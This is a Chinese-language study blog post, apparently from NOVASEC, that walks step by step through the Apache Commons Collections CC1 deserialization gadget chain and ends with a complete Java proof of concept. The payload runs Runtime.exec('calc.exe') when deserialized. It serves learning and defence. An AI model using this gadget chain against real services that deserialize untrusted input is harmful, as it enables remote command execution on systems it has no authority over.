Java安全学习03-反序列化漏洞-CC1链-入门
2022-8-19 23:2:4 Author: NOVASEC(查看原文) 阅读量:18 收藏

当我跨过沉沦的一切 向着永恒开战的时候 你是我的军旗 

--王小波 《爱你就像爱生命》

△△△点击上方“蓝字”关注我们了解更多精彩
免责声明

在学习本文技术或工具使用前,请您务必审慎阅读、充分理解各条款内容。

1、本团队分享的任何类型技术、工具文章等文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人使用本团队技术或工具进行非法活动

2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。如您仅需要测试技术或工具的可行性,建议请自行搭建靶机环境,请勿对非授权目标进行扫描。

3、如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

4、本团队目前未发起任何对外公开培训项目和其他对外收费项目,严禁任何组织或个人使用本团队名义进行非法盈利。

5、本团队所有分享工具及技术文章,严禁不经过授权的公开分享。

如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果

0x00 一些感慨 

说实话,当我开始学习Java安全的时候,在看代码审计的时候,我觉得好像还不是很难,后来,我看到了CC链,我就知道,有的饭,是需要天赋的,回头一看,感觉自己还是入门而已。但是又想了一下,没有技术,好像没什么问题啊,我混甲方的。。。学了不亏,和开发沟通的时候还是有点用的。
0x01 前置知识
补充一点反射的知识,前面笔记的反射知识不够详细

通过反射获取Runtime对象

    public static void main(String[] args) throws Exception {        //获取Runtime对象,通过查看Runtime的代码可以发现Runtime对象的获取不能通过new Runtime()获取,而是需要通过Runtime.getRuntime();//        Runtime r = Runtime.getRuntime();        //Runtime不可以序列化,但是Class是可以序列化的,所以获取Runtime的Class也是可以序列化的,我们需要的getRuntime,所以从Runtime的Class入手,获取一个getRuntime        Class c = Runtime.class;        //无参静态方法,所以参数类型为null        Method getRuntimeMethod = c.getMethod("getRuntime", null);        //getRuntime是静态方法,不需要创建对象就能调用,又是无参,所以。这里就是获取到getRuntime对象,实际上就是Runtime对象,强转一下//        Object invoke = getRuntimeMethod.invoke(null, null);//        invoke一般是执行方法,为什么这里说是获得了Runtime对象,从上面实例化Runtime对象对象可知,实例化Runtime对象就是需要通过getRuntime()方法,所以这里是执行getRuntime()方法,那么获得的就是Runtime对象        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);        //获取exec方法        Method execMethod = c.getMethod("exec", String.class);        //调用exec方法 该方法非静态方法,需要在Runtime类对象上调用,且需要参数        execMethod.invoke(r, "calc");

}
0x02 Transformer

根据CC1链的介绍,作者是发现了Transformer存在问题

这是一个接口,其中就只有一个方法transform

接口不能直接使用,因此查看其实现类 ctrl+alt+b

0x03 ConstantTransformer实现类

定义了一个iConstantConstantTransformer方法给iConstant赋值transform方法返回iConstant的值

差不多就是接收什么,就返回什么

0x04 ChainedTransformer实现类

ChainedTransformer方法接收Transformer对象,保存为Transformer数组,transform方法接收Transformer数组,也就是ChainedTransformer方法中的iTransformers,进行循环调用,前一个的输出作为后一个的输入


0x05 InvokerTransformer实现类

这个类就是CC1最重要的地方,可以看到,这个就是前面的反射方式

InvokerTransformer构造方法需要传入的参数是可控的

transform方法这就是一个反射

构造方法需要传入的三个参数,前两个参数就是为了反射获取方法时候使用的,后一个参数是方法执行的参数

普通反射

InvokerTransformer反射执行

0x06 寻找调用链 - 前

由于笔记较长,分两部分进行

由上可知,需要最终调用transform方法,从最后往前推,先找transform方法的调用链,默认只会查询项目文件,需要改变设置

先写一个InvokerTransformer反射执行,然后查一下transform方法的调用链

之前发的笔记中,有阐述为什么找调用链,这里在进行更多的学习后,再一次进行说明,也许会比之前的想法正确一些:

为什么需要去找其它类中的transform方法?

方便找到一个可控制的链,比如目标类中的transform方法我们不能直接执行,假设找到a类中的aa方法调用transform方法,b类中的bb方法调用了a类的aa方法,如果可以找到一个位置可以控制,传入b类对象,并调用bb方法,那么它就会去调用aa方法,最后执行transform方法。

TransformedMap

这里看到有21个处调用transform方法,其中TransformedMap的checkSetValue是可以被利用的

跟进查看TransformedMap的checkSetValue方法,该方法会执行transform方法,但是需要查看valueTransformer是否可控

查看valueTransformer,是当前类的一个属性,也就是说是给当前类对象传入的一个值,这个值如果可以传入InvokerTransformer对象,那么就可以构成InvokerTransformer.transform(),这是时候如果value再是Runtime对象,则可以执行命令

如何给valueTransformer传入InvokerTransformer对象,这里可以看到返回一个TransformedMap对象,而TransformedMap构造方法需要传入Transformer valueTransformer,那么只要传入一个Transformer子类InvokerTransformer的valueTransformer即可

上面的想法很好,但是我们要先能调用checkSetValue方法,查找checkSetValue方法在哪被调用

AbstractInputCheckedMapDecorator类

AbstractInputCheckedMapDecorator类中的setValue方法中调用了checkSetValue方法

MapEntry是一种遍历处理Map数组的方式

前面说AbstractInputCheckedMapDecorator类中的setValue方法中调用了checkSetValue方法,可以看到,具体为:parent.checkSetValue(value);

回顾一下,checkSetValue方法,该方法会执行transform方法,但是需要valueTransformer是InvokerTransformer对象

parent是在遍历map数组的时候传入的,那么如何在map数组遍历的时候,给parent传入InvokerTransformer对象?

前面可知,TransformedMap可以给一个Map对象进行装饰,获得一个TransformedMap对象,而这个TransformedMap对象在实例化过程中是可以传入一个InvokerTransformer对象的。

那么在使用MapEntry的时候,不对Map数组进行遍历,而是对TransformedMap数组进行遍历,然后在遍历过程中执行setValue方法,这个时候的parent是TransformedMap,进而会进入TransformedMap调用checkSetValue方法。

此时TransformedMap数组是使用一个Map对象+InvokerTransformer对象实例化而来的,而InvokerTransformer对象就是放在valueTransformer位置,这个时候就成功完成了我们想要的执行语句InvokerTransformer.transform()

按照前面的思路进行验证:

1、获取一个InvokerTransformer对象

2、获取一个Map数组

3、将Map数组通过TransformedMap.decorate获取一个TransformedMap数组对象

4、MapEntry方式遍历TransformedMap数组对象,并执行setvalue方法

0x07 寻找调用链 - 后

这个时候,发现AbstractInputCheckedMapDecorator类不能序列化,setValue方法不方便调用

因此需要寻找setValue方法的调用,而且尽量是找readObject方法直接调用的

AnnotationInvocationHandler类

AnnotationInvocationHandler类中的readObject方法中存在setValue方法,该内容也完全符合前面的模式

查看memberValues,是一个Map数组。

由构造方法(准确来说好像叫默认方法)传入,TransformedMap的父类的父类实现了Map接口,因此这里可以传入一个TransformedMap,也就是前面构造出来的TransformedMap数组;另外一个参数是注解

通过反射获取到AnnotationInvocationHandler类的构造方法,并实例化对象

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aIC = c.getDeclaredConstructor(Class.class, Map.class);        aIC.setAccessible(true);        Object o = aIC.newInstance(Target.class, transformMap);

获取到这个AnnotationInvocationHandler类对象的作用为:

1、在实例化过程中传入transformMap,transformMap中含有InvokerTransformer对象

2、将AnnotationInvocationHandler类对象序列化

3、AnnotationInvocationHandler类对象序列化后的文件,在反序列化时,必定会执行

(注:AnnotationInvocationHandler类中的反序列化方法,该方法中有我们需要调用的setValue方法,这里有一点需要注意,在进行for循环遍历数组的时候,由于我们传入的是transformMap,这里setValue的时候就会进入到上面说的AbstractInputCheckedMapDecorator类中进行执行,然后和前面所梳理的关联起来。(目前是这样理解,底层具体如何还不够确定,这个位置最好还是根据正向找调用比较好理解))

关于AnnotationInvocationHandler类的readObject方法,其中需要注意以下几个问题:

1、这里进行了一些判断,主要是对于传入的数组的一些判断,会先获取数组内的key,然后获取AnnotationInvocationHandler实例化对象是传入的注解,看这个注解是否有一个值,且需要这个值就是key

所以AnnotationInvocationHandler实例化对象的时候,就需要传入一个有值的注解,比如Target.class,其内有值value,同时在前面往数组里面加数据时,需要在key的位置传入一个value

2、setValue方法中的值

这里看到setValue方法中的值,是无法控制的

在测试过程中可以看到,走到执行代码的地方,value的值还是无法控制的

关键点1:

但是这个时候,valueTransformer是可以控制的,然后这个时候ConstantTransformer、ChainedTransformer就起作用了。

关键点1:先定义一个Transformer数组,然后在里面传入ConstantTransformer对象、InvokerTransformer对象,最后用ChainedTransformer调用。

Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

关键点2:

之前使用TransformedMap.decorate时,传入的是invokerTransformer对象。invokerTransformer是拿来执行命令的,但是现在使用了一个Transformer数组,传入传入ConstantTransformer对象、InvokerTransformer对象,最后用ChainedTransformer调用,所以这里的TransformedMap.decorate时传入的是ChainedTransformer对象,这样valueTransformer才是ChainedTransformer对象

前后对比:

关键点3:

在进入valueTransformer.transform(value)时,此时value仍然是AnnotationTypeMismatchExceptionProxy对象

但是在ChainedTransformer的transform方法中,前一个执行的输出作为下一个执行的输入。

这个时候在ChainedTransformer的参数是Transformer数组,而数组中的的第一个参数是new ConstantTransformer(Runtime.class),最后ConstantTransformer的transform返回的是iConstant,iConstant来自于构造方法ConstantTransformer(Object constantToReturn),constantToReturn被赋值给iConstant

因为Transformer数组的第一个参数new ConstantTransformer(Runtime.class),在ChainedTransformer的transform方法中,就是ConstantTransformer(Runtime.class).transform(AnnotationTypeMismatchExceptionProxy对象),所以最后返回了的就是Runtime.class

返回的Runtime.class被传入第二个参数:

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class)

上面返回的参数又被传入下一个参数,最后成功执行了exec方法

0x08 

最终代码如下

package com.vuldemotest.testqax.entity;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;
import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception { // 因为Runtime是不能序列化的,但是它的Class是可以序列化的,所以通过反射获取它的Class Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","aaa"); Map<Object,Object> transformeMap = TransformedMap.decorate(map,null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aIC = c.getDeclaredConstructor(Class.class, Map.class); aIC.setAccessible(true); Object o = aIC.newInstance(Target.class, transformeMap);
serialize(o); unserialize("src/main/resources/ser1.txt");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser1.txt"));        oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject();        return o; }}
0x09 总结
反序列化漏洞是在小破站跟着组长的视频学的,有兴趣的可以去看看,但是还是如第一篇那样说的,组长的视频可能没有这么多细节,他可能觉得都是基本知识,大家都懂。
最后祝大家越来越强,无论哪个方向,最终能照亮一片天空。

END

如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

或添加NOVASEC-余生 以便于及时回复。

感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!

本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!!


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzODU3ODA0MA==&mid=2247487949&idx=1&sn=8daf17e52cd338613def8319e63f3196&chksm=fad4ccdacda345cce380f806f27d78f0aad6ee9698ac735a6352dbc310ba3c0bcd3c498a4154#rd
如有侵权请联系:admin#unsafe.sh